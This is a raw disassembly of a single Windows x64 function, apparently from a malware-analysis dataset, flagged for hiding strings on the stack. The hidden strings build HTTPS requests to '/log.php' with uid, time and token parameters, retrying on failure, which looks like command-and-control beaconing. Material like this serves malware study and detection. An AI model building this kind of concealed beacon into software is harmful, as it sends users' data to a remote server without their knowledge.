Function at 0x140012ba0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov byte [rsp + 0x20], r9b
mov qword [rsp + 0x18], r8
mov byte [rsp + 0x10], dl
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x210]
sub rsp, 0x310
movzx r13d, r9b
mov r12, rcx
mov dword [rsp + 0x34], 0
mov byte [r8], 0
call fcn.14004af70
mov rcx, rax
test rax, rax
je 0x140013f8b
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp], rax
mov r14, 0xffffffffffffffff
test r12, r12
je 0x140012c32
cmp r12, 0x10000
jae 0x140012c23
movzx edx, r12w
lea rcx, [rbp]
call fcn.14004bd90
jmp 0x140012c44
mov rax, r14
inc rax
cmp byte [r12 + rax], 0
jne 0x140012c26
jmp 0x140012c34
xor eax, eax
mov r8d, eax
mov rdx, r12
lea rcx, [rbp]
call fcn.14004b950
nop
call fcn.14004af70
mov rcx, rax
test rax, rax
je 0x140013f96
mov rax, qword [rax]
call qword [rax + 0x18]
lea rdi, [rax + 0x18]
mov qword [rbp - 0x38], rdi
test r13b, r13b
je 0x140012d5b
mov word [rbp - 0x80], 0x3f70
mov dword [rbp - 0x7e], 0x3d646975
mov dword [rsp + 0x7b], 0x702e676f
mov word [rsp + 0x78], 0x692f
mov byte [rsp + 0x7a], 0x6c
mov byte [rbp - 0x7a], 0
mov byte [rsp + 0x7f], 0x68
call fcn.14004af70
mov rcx, rax
test rax, rax
je 0x140013fa1
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x50], rax
lea rax, [rsp + 0x78]
cmp rax, 0x10000
jae 0x140012cd5
lea rax, [rsp + 0x78]
movzx edx, ax
lea rcx, [rbp - 0x50]
call fcn.14004bd90
jmp 0x140012cfb
lea rcx, [rsp + 0x78]
mov rax, r14
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140012ce0
mov r8d, eax
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x50]
call fcn.14004b950
nop
mov rdx, qword [rbp - 0x50]
lea rbx, [rdx - 0x18]
lea rsi, [rdi - 0x18]
cmp rbx, rsi
je 0x140012d56
cmp dword [rsi + 0x10], 0
jl 0x140012d48
mov rax, qword [rsi]
cmp qword [rbx], rax
jne 0x140012d48
mov rcx, rbx
call fcn.14001ef40
mov r15, rax
mov ecx, r14d
lock xadd dword [rsi + 0x10], ecx
sub ecx, 1
jg 0x140012d3e
mov rcx, qword [rsi]
mov rdi, qword [rcx]
mov rdx, rsi
call qword [rdi + 8]
lea rax, [r15 + 0x18]
mov qword [rbp - 0x38], rax
jmp 0x140012d56
mov r8d, dword [rdx - 0x10]
lea rcx, [rbp - 0x38]
call fcn.14004b950
nop
jmp 0x140012e46
mov word [rsp + 0x6b], 0x676f
mov word [rsp + 0x6e], 0x6870
mov word [rsp + 0x68], 0x692f
mov dword [rsp + 0x71], 0x3d693f
mov byte [rsp + 0x6a], 0x6c
mov byte [rsp + 0x70], 0x70
mov byte [rsp + 0x6d], 0x2e
call fcn.14004af70
mov rcx, rax
test rax, rax
je 0x140013fac
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x50], rax
lea rax, [rsp + 0x68]
cmp rax, 0x10000
jae 0x140012dc6
lea rax, [rsp + 0x68]
movzx edx, ax
lea rcx, [rbp - 0x50]
call fcn.14004bd90
jmp 0x140012deb
lea rcx, [rsp + 0x68]
mov rax, r14
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140012dd0
mov r8d, eax
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x50]
call fcn.14004b950
nop
mov rdx, qword [rbp - 0x50]
lea rbx, [rdx - 0x18]
lea rsi, [rdi - 0x18]
cmp rbx, rsi
je 0x140012e46
cmp dword [rsi + 0x10], 0
jl 0x140012e38
mov rax, qword [rsi]
cmp qword [rbx], rax
jne 0x140012e38
mov rcx, rbx
call fcn.14001ef40
mov r15, rax
mov ecx, r14d
lock xadd dword [rsi + 0x10], ecx
sub ecx, 1
jg 0x140012e2e
mov rcx, qword [rsi]
mov rdi, qword [rcx]
mov rdx, rsi
call qword [rdi + 8]
lea rax, [r15 + 0x18]
mov qword [rbp - 0x38], rax
jmp 0x140012e46
mov r8d, dword [rdx - 0x10]
lea rcx, [rbp - 0x38]
call fcn.14004b950
nop
mov eax, r14d
lock xadd dword [rbx + 0x10], eax
sub eax, 1
jg 0x140012e5f
mov rcx, qword [rbx]
mov rax, qword [rcx]
mov rdx, rbx
call qword [rax + 8]
call fcn.14004af70
mov rcx, rax
test rax, rax
je 0x140013fb7
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x30], rax
call fcn.14004af70
mov rcx, rax
test rax, rax
je 0x140013fc2
mov rax, qword [rax]
call qword [rax + 0x18]
lea rdi, [rax + 0x18]
mov qword [rbp - 0x40], rdi
test r13b, r13b
je 0x140012f70
mov dword [rsp + 0x38], 0x3d6d26
call fcn.14004af70
mov rcx, rax
test rax, rax
je 0x140013fcd
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x48], rax
lea rax, [rsp + 0x38]
cmp rax, 0x10000
jae 0x140012eed
lea rax, [rsp + 0x38]
movzx edx, ax
lea rcx, [rbp + 0x48]
call fcn.14004bd90
jmp 0x140012f10
lea rcx, [rsp + 0x38]
mov rax, r14
inc rax
cmp byte [rcx + rax], 0
jne 0x140012ef5
mov r8d, eax
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x48]
call fcn.14004b950
nop
mov rdx, qword [rbp + 0x48]
lea rbx, [rdx - 0x18]
lea rsi, [rdi - 0x18]
cmp rbx, rsi
je 0x140012f6b
cmp dword [rsi + 0x10], 0
jl 0x140012f5d
mov rax, qword [rsi]
cmp qword [rbx], rax
jne 0x140012f5d
mov rcx, rbx
call fcn.14001ef40
mov r15, rax
mov ecx, r14d
lock xadd dword [rsi + 0x10], ecx
sub ecx, 1
jg 0x140012f53
mov rcx, qword [rsi]
mov rdi, qword [rcx]
mov rdx, rsi
call qword [rdi + 8]
lea rax, [r15 + 0x18]
mov qword [rbp - 0x40], rax
jmp 0x140012f6b
mov r8d, dword [rdx - 0x10]
lea rcx, [rbp - 0x40]
call fcn.14004b950
nop
jmp 0x140013036
mov dword [rsp + 0x3c], 0x3d7026
call fcn.14004af70
mov rcx, rax
test rax, rax
je 0x140013fd8
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x28], rax
lea rax, [rsp + 0x3c]
cmp rax, 0x10000
jae 0x140012fb7
lea rax, [rsp + 0x3c]
movzx edx, ax
lea rcx, [rbp + 0x28]
call fcn.14004bd90
jmp 0x140012fdb
lea rcx, [rsp + 0x3c]
mov rax, r14
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140012fc0
mov r8d, eax
lea rdx, [rsp + 0x3c]
lea rcx, [rbp + 0x28]
call fcn.14004b950
nop
mov rdx, qword [rbp + 0x28]
lea rbx, [rdx - 0x18]
lea rsi, [rdi - 0x18]
cmp rbx, rsi
je 0x140013036
cmp dword [rsi + 0x10], 0
jl 0x140013028
mov rax, qword [rsi]
cmp qword [rbx], rax
jne 0x140013028
mov rcx, rbx
call fcn.14001ef40
mov r15, rax
mov ecx, r14d
lock xadd dword [rsi + 0x10], ecx
sub ecx, 1
jg 0x14001301e
mov rcx, qword [rsi]
mov rdi, qword [rcx]
mov rdx, rsi
call qword [rdi + 8]
lea rax, [r15 + 0x18]
mov qword [rbp - 0x40], rax
jmp 0x140013036
mov r8d, dword [rdx - 0x10]
lea rcx, [rbp - 0x40]
call fcn.14004b950
nop
mov eax, r14d
lock xadd dword [rbx + 0x10], eax
sub eax, 1
jg 0x14001304f
mov rcx, qword [rbx]
mov rax, qword [rcx]
mov rdx, rbx
call qword [rax + 8]
call fcn.14004af70
mov rcx, rax
test rax, rax
je 0x140013fe3
mov rax, qword [rax]
call qword [rax + 0x18]
lea rdi, [rax + 0x18]
mov qword [rbp - 0x48], rdi
test r13b, r13b
je 0x14001315b
mov dword [rsp + 0x53], 0x78652632
mov word [rsp + 0x51], 0x3d70
mov byte [rsp + 0x50], 0x26
mov word [rsp + 0x57], 0x3d
call fcn.14004af70
mov rcx, rax
test rax, rax
je 0x140013fee
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x30], rax
lea rax, [rsp + 0x50]
cmp rax, 0x10000
jae 0x1400130d1
lea rax, [rsp + 0x50]
movzx edx, ax
lea rcx, [rbp + 0x30]
call fcn.14004bd90
jmp 0x1400130fb
lea rcx, [rsp + 0x50]
mov rax, r14
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400130e0
mov r8d, eax
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x30]
call fcn.14004b950
nop
mov rdx, qword [rbp + 0x30]
lea rbx, [rdx - 0x18]
lea rsi, [rdi - 0x18]
cmp rbx, rsi
je 0x140013156
cmp dword [rsi + 0x10], 0
jl 0x140013148
mov rax, qword [rsi]
cmp qword [rbx], rax
jne 0x140013148
mov rcx, rbx
call fcn.14001ef40
mov r15, rax
mov ecx, r14d
lock xadd dword [rsi + 0x10], ecx
sub ecx, 1
jg 0x14001313e
mov rcx, qword [rsi]
mov rdi, qword [rcx]
mov rdx, rsi
call qword [rdi + 8]
lea rax, [r15 + 0x18]
mov qword [rbp - 0x48], rax
jmp 0x140013156
mov r8d, dword [rdx - 0x10]
lea rcx, [rbp - 0x48]
call fcn.14004b950
nop
jmp 0x140013236
mov dword [rsp + 0x4a], 0x6526323d
mov word [rsp + 0x48], 0x7826
mov word [rsp + 0x4e], 0x3d
call fcn.14004af70
mov rcx, rax
test rax, rax
je 0x140013ff9
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x38], rax
lea rax, [rsp + 0x48]
cmp rax, 0x10000
jae 0x1400131b0
lea rax, [rsp + 0x48]
movzx edx, ax
lea rcx, [rbp + 0x38]
call fcn.14004bd90
jmp 0x1400131db
lea rcx, [rsp + 0x48]
mov rax, r14
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400131c0
mov r8d, eax
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x38]
call fcn.14004b950
nop
mov rdx, qword [rbp + 0x38]
lea rbx, [rdx - 0x18]
lea rsi, [rdi - 0x18]
cmp rbx, rsi
je 0x140013236
cmp dword [rsi + 0x10], 0
jl 0x140013228
mov rax, qword [rsi]
cmp qword [rbx], rax
jne 0x140013228
mov rcx, rbx
call fcn.14001ef40
mov r15, rax
mov ecx, r14d
lock xadd dword [rsi + 0x10], ecx
sub ecx, 1
jg 0x14001321e
mov rcx, qword [rsi]
mov rdi, qword [rcx]
mov rdx, rsi
call qword [rdi + 8]
lea rax, [r15 + 0x18]
mov qword [rbp - 0x48], rax
jmp 0x140013236
mov r8d, dword [rdx - 0x10]
lea rcx, [rbp - 0x48]
call fcn.14004b950
nop
mov eax, r14d
lock xadd dword [rbx + 0x10], eax
sub eax, 1
jg 0x140013250
mov rcx, qword [rbx]
mov rax, qword [rcx]
mov rdx, rbx
call qword [rax + 8]
nop
mov rbx, qword [rbp - 0x38]
lea rax, [rbx - 0x18]
mov qword [rbp + 0xd0], rax
mov rcx, qword [rbx - 0x18]
test rcx, rcx
je 0x140013276
mov rax, qword [rcx]
call qword [rax + 0x20]
mov rcx, rax
test rax, rax
jne 0x140013290
call fcn.14004af70
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x20]
mov rcx, rax
test rax, rax
je 0x140014004
mov rax, qword [rcx]
call qword [rax + 0x18]
lea rdi, [rax + 0x18]
mov qword [rbp + 0x78], rdi
mov dword [rsp + 0x34], 1
mov rsi, qword [rbp]
mov eax, dword [rsi - 0x10]
mov dword [rsp + 0x40], eax
movsxd r13, dword [rbx - 0x10]
lea r15d, [rax + r13]
test r15d, r15d
js 0x140013f80
mov ecx, 1
sub ecx, dword [rdi - 8]
mov eax, dword [rdi - 0xc]
sub eax, r15d
or eax, ecx
jge 0x1400132e4
mov edx, r15d
lea rcx, [rbp + 0x78]
call fcn.14004b440
mov rdi, qword [rbp + 0x78]
test r13, r13
je 0x14001330e
test rdi, rdi
jne 0x140013300
call fcn.14010f038
mov dword [rax], 0x16
call fcn.14010ee8c
jmp 0x14001330e
mov r8, r13
mov rdx, rbx
mov rcx, rdi
call fcn.1401007b0
lea rcx, [rdi + r13]
movsxd r8, dword [rsp + 0x40]
test r8, r8
je 0x14001333b
test rcx, rcx
jne 0x140013333
call fcn.14010f038
mov dword [rax], 0x16
call fcn.14010ee8c
jmp 0x14001333b
mov rdx, rsi
call fcn.1401007b0
cmp r15d, dword [rdi - 0xc]
jg 0x140013f80
mov dword [rdi - 0x10], r15d
movsxd rax, r15d
mov byte [rax + rdi], 0
lea rax, [rdi - 0x18]
mov qword [rbp + 0x40], rax
mov rcx, qword [rdi - 0x18]
test rcx, rcx
je 0x14001336f
mov rax, qword [rcx]
call qword [rax + 0x20]
mov rcx, rax
test rax, rax
jne 0x140013389
call fcn.14004af70
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x20]
mov rcx, rax
test rax, rax
je 0x14001400f
mov rax, qword [rcx]
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rbp + 0x80], rbx
mov dword [rsp + 0x34], 3
mov rsi, qword [rbp - 0x40]
mov eax, dword [rsi - 0x10]
mov dword [rsp + 0x40], eax
movsxd r13, dword [rdi - 0x10]
lea r15d, [rax + r13]
test r15d, r15d
js 0x140013f75
mov ecx, 1
sub ecx, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
sub eax, r15d
or eax, ecx
jge 0x1400133e6
mov edx, r15d
lea rcx, [rbp + 0x80]
call fcn.14004b440
mov rbx, qword [rbp + 0x80]
test r13, r13
je 0x140013410
test rbx, rbx
jne 0x140013402
call fcn.14010f038
mov dword [rax], 0x16
call fcn.14010ee8c
jmp 0x140013410
mov r8, r13
mov rdx, rdi
mov rcx, rbx
call fcn.1401007b0
lea rcx, [rbx + r13]
movsxd r8, dword [rsp + 0x40]
test r8, r8
je 0x14001343d
test rcx, rcx
jne 0x140013435
call fcn.14010f038
mov dword [rax], 0x16
call fcn.14010ee8c
jmp 0x14001343d
mov rdx, rsi
call fcn.1401007b0
cmp r15d, dword [rbx - 0xc]
jg 0x140013f75
mov dword [rbx - 0x10], r15d
movsxd rax, r15d
mov byte [rax + rbx], 0
lea rax, [rbx - 0x18]
mov qword [rbp + 0x70], rax
mov rcx, qword [rbx - 0x18]
test rcx, rcx
je 0x140013471
mov rax, qword [rcx]
call qword [rax + 0x20]
mov rcx, rax
test rax, rax
jne 0x14001348b
call fcn.14004af70
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x20]
mov rcx, rax
test rax, rax
je 0x14001401a
mov rax, qword [rcx]
call qword [rax + 0x18]
lea rdi, [rax + 0x18]
mov qword [rbp + 0x88], rdi
mov dword [rsp + 0x34], 7
lea rax, str.9ae44a6be3784ca8a403ac588c6efd21
mov rsi, r14
nop
inc rsi
cmp byte [rax + rsi], 0
jne 0x1400134b0
movsxd r13, dword [rbx - 0x10]
lea r15d, [rsi + r13]
test r15d, r15d
js 0x140014094
mov ecx, 1
sub ecx, dword [rdi - 8]
mov eax, dword [rdi - 0xc]
sub eax, r15d
or eax, ecx
jge 0x1400134f2
mov edx, r15d
lea rcx, [rbp + 0x88]
call fcn.14004b440
mov rdi, qword [rbp + 0x88]
test r13, r13
je 0x14001351c
test rdi, rdi
jne 0x14001350e
call fcn.14010f038
mov dword [rax], 0x16
call fcn.14010ee8c
jmp 0x14001351c
mov r8, r13
mov rdx, rbx
mov rcx, rdi
call fcn.1401007b0
lea rcx, [rdi + r13]
movsxd r8, esi
test esi, esi
je 0x14001354a
test rcx, rcx
jne 0x14001353e
call fcn.14010f038
mov dword [rax], 0x16
call fcn.14010ee8c
jmp 0x14001354a
lea rdx, str.9ae44a6be3784ca8a403ac588c6efd21
call fcn.1401007b0
cmp r15d, dword [rdi - 0xc]
jg 0x140014094
mov dword [rdi - 0x10], r15d
movsxd rax, r15d
mov byte [rax + rdi], 0
lea rax, [rdi - 0x18]
mov qword [rbp + 0xc0], rax
mov rcx, qword [rdi - 0x18]
test rcx, rcx
je 0x140013581
mov rax, qword [rcx]
call qword [rax + 0x20]
mov rcx, rax
test rax, rax
jne 0x14001359b
call fcn.14004af70
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x20]
mov rcx, rax
test rax, rax
je 0x140014025
mov rax, qword [rcx]
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rbp + 0x90], rbx
mov dword [rsp + 0x34], 0xf
mov rsi, qword [rbp - 0x48]
mov eax, dword [rsi - 0x10]
mov dword [rsp + 0x40], eax
movsxd r13, dword [rdi - 0x10]
lea r15d, [rax + r13]
test r15d, r15d
js 0x140014089
mov ecx, 1
sub ecx, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
sub eax, r15d
or eax, ecx
jge 0x1400135f8
mov edx, r15d
lea rcx, [rbp + 0x90]
call fcn.14004b440
mov rbx, qword [rbp + 0x90]
test r13, r13
je 0x140013622
test rbx, rbx
jne 0x140013614
call fcn.14010f038
mov dword [rax], 0x16
call fcn.14010ee8c
jmp 0x140013622
mov r8, r13
mov rdx, rdi
mov rcx, rbx
call fcn.1401007b0
lea rcx, [rbx + r13]
movsxd r8, dword [rsp + 0x40]
test r8, r8
je 0x14001364f
test rcx, rcx
jne 0x140013647
call fcn.14010f038
mov dword [rax], 0x16
call fcn.14010ee8c
jmp 0x14001364f
mov rdx, rsi
call fcn.1401007b0
cmp r15d, dword [rbx - 0xc]
jg 0x140014089
mov dword [rbx - 0x10], r15d
movsxd rax, r15d
mov byte [rax + rbx], 0
lea rax, [0x14016df30]
lea r13, [0x14016df5c]
cmp byte [rbp + 0x258], 0
cmovne r13, rax
lea rax, [rbx - 0x18]
mov qword [rbp + 0xd8], rax
mov rcx, qword [rbx - 0x18]
test rcx, rcx
je 0x14001369f
mov rax, qword [rcx]
call qword [rax + 0x20]
mov rcx, rax
test rax, rax
jne 0x1400136b9
call fcn.14004af70
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x20]
mov rcx, rax
test rax, rax
je 0x140014030
mov rax, qword [rcx]
call qword [rax + 0x18]
lea rdi, [rax + 0x18]
mov qword [rbp + 0x98], rdi
mov dword [rsp + 0x34], 0x1f
mov rsi, r14
inc rsi
cmp byte [rsi + r13], 0
jne 0x1400136d5
mov eax, dword [rbx - 0x10]
mov dword [rsp + 0x40], eax
lea r15d, [rsi + rax]
test r15d, r15d
js 0x14001407e
mov ecx, 1
sub ecx, dword [rdi - 8]
mov eax, dword [rdi - 0xc]
sub eax, r15d
or eax, ecx
jge 0x14001371b
mov edx, r15d
lea rcx, [rbp + 0x98]
call fcn.14004b440
mov rdi, qword [rbp + 0x98]
movsxd rax, dword [rsp + 0x40]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140013754
test rdi, rdi
jne 0x140013741
call fcn.14010f038
mov dword [rax], 0x16
call fcn.14010ee8c
jmp 0x14001374f
mov r8, rax
mov rdx, rbx
mov rcx, rdi
call fcn.1401007b0
mov rax, qword [rsp + 0x40]
lea rcx, [rax + rdi]
movsxd r8, esi
test esi, esi
je 0x14001377e
test rcx, rcx
jne 0x140013776
call fcn.14010f038
mov dword [rax], 0x16
call fcn.14010ee8c
jmp 0x14001377e
mov rdx, r13
call fcn.1401007b0
cmp r15d, dword [rdi - 0xc]
jg 0x14001407e
mov dword [rdi - 0x10], r15d
movsxd rax, r15d
mov byte [rax + rdi], 0
lea rbx, [rdi - 0x18]
mov rsi, qword [rbp - 0x30]
add rsi, 0xffffffffffffffe8
cmp rbx, rsi
je 0x1400137f0
cmp dword [rsi + 0x10], 0
jl 0x1400137e0
mov rax, qword [rsi]
cmp qword [rbx], rax
jne 0x1400137e0
mov rcx, rbx
call fcn.14001ef40
mov r15, rax
mov ecx, r14d
lock xadd dword [rsi + 0x10], ecx
sub ecx, 1
jg 0x1400137d6
mov rcx, qword [rsi]
mov rdi, qword [rcx]
mov rdx, rsi
call qword [rdi + 8]
lea rax, [r15 + 0x18]
mov qword [rbp - 0x30], rax
jmp 0x1400137f0
mov r8d, dword [rdi - 0x10]
mov rdx, rdi
lea rcx, [rbp - 0x30]
call fcn.14004b950
mov dword [rsp + 0x34], 0xf
mov eax, r14d
lock xadd dword [rbx + 0x10], eax
sub eax, 1
jg 0x140013811
mov rcx, qword [rbx]
mov rax, qword [rcx]
mov rdx, rbx
call qword [rax + 8]
mov dword [rsp + 0x34], 7
mov eax, r14d
mov rdx, qword [rbp + 0xd8]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140013836
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov dword [rsp + 0x34], 3
mov eax, r14d
mov rdx, qword [rbp + 0xc0]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14001385b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov dword [rsp + 0x34], 1
mov eax, r14d
mov rdx, qword [rbp + 0x70]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14001387e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov eax, r14d
mov rdx, qword [rbp + 0x40]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140013898
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
call fcn.14004af70
mov rcx, rax
test rax, rax
je 0x14001403b
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0xa0], rax
mov word [rbp - 0x5b], 0x2f3a
mov dword [rbp - 0x58], 0x73257325
mov dword [rbp - 0x60], 0x70747468
mov byte [rbp - 0x5c], 0x73
mov byte [rbp - 0x54], 0
mov byte [rbp - 0x59], 0x2f
movzx ebx, byte [rbp + 0x268]
movzx edx, bl
lea rcx, [rbp + 0xc8]
call fcn.14004b0b0
nop
mov r9, qword [rbp - 0x30]
mov r8, qword [rax]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xa0]
call fcn.14004ad20
nop
mov rdx, qword [rbp + 0xc8]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14001392a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa8], xmm0
mov word [rbp + 0xb8], ax
lea rcx, [rbp + 0xa8]
call fcn.140029730
xor ecx, ecx
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x60], rcx
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], cl
mov r8, r14
inc r8
cmp byte [rax + r8], cl
jne 0x140013961
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.140004140
nop
lea rdi, [rbp + 0xa8]
xor eax, eax
mov ecx, 6
rep stosb byte [rdi], al
lea rdi, [rbp + 0xae]
mov ecx, 0xc
rep stosb byte [rdi], al
xor edi, edi
mov esi, edi
mov r15, qword [rbp + 0xa0]
mov r13, qword [rbp + 0x288]
nop word [rax + rax]
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x100]
call fcn.140100e60
mov edx, 0x104
lea rcx, [rbp + 0x100]
call fcn.140006d60
lea rcx, [rsp + 0x30]
call fcn.14004d370
nop
mov qword [rbp + 0xe0], rdi
mov qword [rbp + 0xf0], rdi
mov qword [rbp + 0xf8], 0xf
mov byte [rbp + 0xe0], 0
lea rcx, [r15 - 0x18]
call fcn.14001ef40
add rax, 0x18
mov qword [rbp - 8], rax
mov dword [rbp - 0x6b], 0x64253d
mov dword [rbp - 0x70], 0x6d697426
mov byte [rbp - 0x6c], 0x65
call fcn.14004fe10
mov r8d, eax
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 8]
call fcn.14001ed30
mov dword [rbp - 0x74], edi
lea r8, [rbp - 0x74]
mov rdi, qword [rbp - 8]
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.14004d590
test al, al
jne 0x140013a63
mov ecx, 0x1f4
call fcn.140052330
jmp 0x140013d90
xor eax, eax
mov qword [rbp + 8], rax
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], 0xf
mov byte [rbp + 8], al
cmp dword [rbp - 0x74], 0x40000
jge 0x140013d25
lea r8, [rbp + 8]
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.14004d390
test al, al
je 0x140013d25
cmp qword [rbp + 0x18], 0xa
jae 0x140013d25
lea rdi, [rbp + 8]
cmp qword [rbp + 0x20], 0x10
cmovae rdi, qword [rbp + 8]
call fcn.14004af70
mov rcx, rax
test rax, rax
je 0x140014067
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x28], rax
test rdi, rdi
je 0x140013b00
cmp rdi, 0x10000
jae 0x140013af2
movzx edx, di
lea rcx, [rbp - 0x28]
call fcn.14004bd90
jmp 0x140013b12
mov rax, r14
inc rax
cmp byte [rdi + rax], 0
jne 0x140013af5
jmp 0x140013b02
xor eax, eax
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp - 0x28]
call fcn.14004b950
nop
lea rcx, [rbp - 0x28]
call fcn.14004bac0
mov word [rsp + 0x60], 0x3031
mov byte [rsp + 0x62], 0
mov rdi, qword [rbp - 0x28]
cmp dword [rdi - 0x10], 0
jl 0x140013be9
lea rdx, [rsp + 0x60]
mov rcx, rdi
call fcn.140128b68
test rax, rax
je 0x140013be9
cmp eax, edi
js 0x140013be9
lea rax, [rbp - 0x20]
mov qword [rbp + 0x40], rax
call fcn.14004af70
mov rcx, rax
test rax, rax
je 0x140014046
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x20], rax
test r12, r12
je 0x140013bac
cmp r12, 0x10000
jae 0x140013b97
movzx edx, r12w
lea rcx, [rbp - 0x20]
call fcn.14004bd90
jmp 0x140013bbe
mov rax, r14
nop word [rax + rax]
inc rax
cmp byte [r12 + rax], 0
jne 0x140013ba0
jmp 0x140013bae
xor eax, eax
mov r8d, eax
mov rdx, r12
lea rcx, [rbp - 0x20]
call fcn.14004b950
nop
mov qword [rsp + 0x28], r13
mov rax, qword [rbp + 0x280]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x278]
mov r8, qword [rbp + 0x270]
movzx edx, bl
lea rcx, [rbp - 0x20]
call fcn.14000ed50
mov dword [rbp - 0x78], 0x303131
cmp dword [rdi - 0x10], 0
jl 0x140013d07
lea rdx, [rbp - 0x78]
mov rcx, rdi
call fcn.140128b68
test rax, rax
je 0x140013d07
cmp eax, edi
jne 0x140013d07
lea rax, [rbp - 0x18]
mov qword [rbp + 0x40], rax
lea rax, [rbp - 0x10]
mov qword [rbp + 0x70], rax
lea rbx, [rbp + 0x50]
cmp qword [rbp + 0x68], 0x10
cmovae rbx, qword [rbp + 0x50]
call fcn.14004af70
mov rcx, rax
test rax, rax
je 0x14001405c
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x18], rax
test rbx, rbx
je 0x140013c7e
cmp rbx, 0x10000
jae 0x140013c70
movzx edx, bx
lea rcx, [rbp - 0x18]
call fcn.14004bd90
jmp 0x140013c90
mov rax, r14
inc rax
cmp byte [rbx + rax], 0
jne 0x140013c73
jmp 0x140013c80
xor eax, eax
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp - 0x18]
call fcn.14004b950
nop
call fcn.14004af70
mov rcx, rax
test rax, rax
je 0x140014051
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x10], rax
test r12, r12
je 0x140013cdc
cmp r12, 0x10000
jae 0x140013ccc
movzx edx, r12w
lea rcx, [rbp - 0x10]
call fcn.14004bd90
jmp 0x140013cee
mov rax, r14
nop
inc rax
cmp byte [r12 + rax], 0
jne 0x140013cd0
jmp 0x140013cde
xor eax, eax
mov r8d, eax
mov rdx, r12
lea rcx, [rbp - 0x10]
call fcn.14004b950
nop
lea rdx, [rbp - 0x18]
lea rcx, [rbp - 0x10]
call fcn.140007c10
call fcn.140010730
movzx ebx, byte [rbp + 0x268]
lea rdx, [rdi - 0x18]
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140013d21
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rdi, qword [rbp - 8]
mov eax, dword [rbp - 0x74]
add eax, 0xfffffff0
cmp eax, 0x3fff0
ja 0x140013dc7
mov ecx, 0x1f4
call fcn.140052330
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x140013d7c
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013d77
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140014072
call fcn.1400fdcc4
mov qword [rbp + 0x18], 0
mov qword [rbp + 0x20], 0xf
mov byte [rbp + 8], 0
lea rdx, [rdi - 0x18]
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140013dab
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rcx, [rsp + 0x30]
call fcn.14004d380
inc esi
cmp esi, 5
jge 0x140013e51
